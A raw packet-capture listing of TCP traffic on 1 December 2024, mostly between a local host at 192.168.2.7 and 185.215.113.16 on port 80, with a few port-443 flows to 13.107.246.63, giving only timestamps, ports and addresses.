Dec 1, 2024 03:32:55.831007004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.831861973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.831964016 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.832056999 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.832904100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.832992077 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.833120108 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.833898067 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.834022999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.834098101 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.834897995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.834997892 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.835112095 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.835927010 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.836021900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.836106062 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.836946964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.837054014 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.837143898 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.837927103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.838041067 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.838077068 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.838110924 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.838956118 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.839068890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.839118004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.839970112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.840064049 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.840523005 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.840971947 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.841103077 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.841146946 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.841984987 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.842096090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.842201948 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.842986107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.843103886 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.843153954 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.844036102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.844147921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.844199896 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.845010996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.845134020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.845240116 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.846028090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.846133947 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.846189022 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.847028971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.847146988 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.847199917 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.847937107 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.848038912 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.848148108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.849205971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.849252939 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.849416018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.849469900 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.850038052 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.850210905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.850256920 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.851082087 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.851164103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.851218939 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.852102041 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.852161884 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.852224112 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.853095055 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.853197098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.853274107 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.854095936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.854207993 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.854352951 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.855129957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.855251074 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.855302095 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.856072903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.869057894 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.004542112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.004671097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.004731894 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.004981041 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.005048990 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.006002903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.006040096 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.006108999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.006146908 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.006994963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.007152081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.007215977 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.008004904 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.008105040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.008162975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.008980989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.009102106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.009151936 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.010019064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.010123968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.010248899 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.011018991 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.011101961 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.011207104 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.012032986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.012137890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.012206078 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.013025999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.013134956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.013196945 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.014055967 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.014187098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.014233112 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.015094042 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.015208006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.015255928 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.016056061 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.016180038 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.016326904 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.017071962 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.017173052 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.017220020 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.018075943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.018323898 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.018379927 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.019102097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.019185066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.019300938 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.020152092 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.020216942 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.020272970 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.021126986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.021235943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.021287918 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.022100925 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.022222042 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.022355080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.023143053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.023242950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.023298979 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.024149895 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.024296999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.024355888 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.025146961 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.025259018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.026022911 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.026176929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.026273966 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.027154922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.027208090 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.027287960 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.027348995 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.028208017 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.028295040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.028356075 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.029191971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.029294968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.029359102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.030222893 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.030333996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.030380964 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.031224012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.031332970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.031383991 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.032229900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.032340050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.032392025 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.033230066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.033354998 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.033487082 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.034279108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.034382105 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.034424067 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.035281897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.035402060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.035449028 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.036312103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.036406994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.036458015 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.037276983 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.037372112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.037812948 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.038280964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.038397074 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.039041996 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.039304972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.039411068 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.039869070 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.040302038 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.040424109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.040486097 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.041316986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.041438103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.041486979 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.042325974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.042452097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.042505026 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.043343067 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.043462992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.043513060 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.044346094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.044424057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.044472933 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.045351982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.045478106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.045527935 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.046380043 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.046493053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.046617031 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.047189951 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.047349930 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.047491074 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.048398972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.048444033 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.048507929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.048557043 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.049407005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.049578905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.049771070 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.050426960 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.050529957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.050574064 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.051449060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.051578999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.051630974 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.052448988 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.052557945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.052675962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.053466082 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.053587914 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.053630114 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.054482937 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.054558039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.054613113 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.055476904 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.055604935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.055663109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.056484938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.056591034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.056643963 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.057430029 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.058271885 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.058695078 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.058712959 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.059123993 CET	49786	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.059129953 CET	443	49786	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.063965082 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.078948975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.107618093 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.108124971 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.108148098 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.108571053 CET	49787	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.108576059 CET	443	49787	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.126662016 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.126753092 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.126960039 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.127159119 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.127177954 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.127187967 CET	49785	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.127194881 CET	443	49785	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.129795074 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.129829884 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.129956961 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.130316019 CET	49790	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.130331039 CET	443	49790	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.131021023 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.131403923 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.131412983 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.131808043 CET	49788	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:56.131813049 CET	443	49788	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:56.205868959 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.205936909 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.206000090 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.206362963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.206475973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.207350969 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.207405090 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.207453012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.207503080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.208348989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.208466053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.208519936 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.209359884 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.209476948 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.209536076 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.210372925 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.210444927 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.210501909 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.211385012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.211504936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.211647987 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.212399006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.212510109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.212590933 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.213411093 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.213524103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.213572979 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.214416981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.214539051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.214591026 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.215481997 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.215564013 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.215614080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.216439009 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.216546059 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.216589928 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.217463970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.217545986 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.217739105 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.218481064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.218579054 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.219479084 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.219496012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.219613075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.220170021 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.220544100 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.221081018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.221179962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.221546888 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.221554995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.221596003 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.222517014 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.222774982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.222867012 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.223556995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.223686934 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.223737001 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.224567890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.224662066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.224724054 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.225573063 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.225672007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.225795031 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.226578951 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.226692915 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.226804018 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.227559090 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.227663040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.227744102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.228540897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.228673935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:56.228725910 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:56.229562998 CET	80	49783	185.215.113.16	192.168.2.7
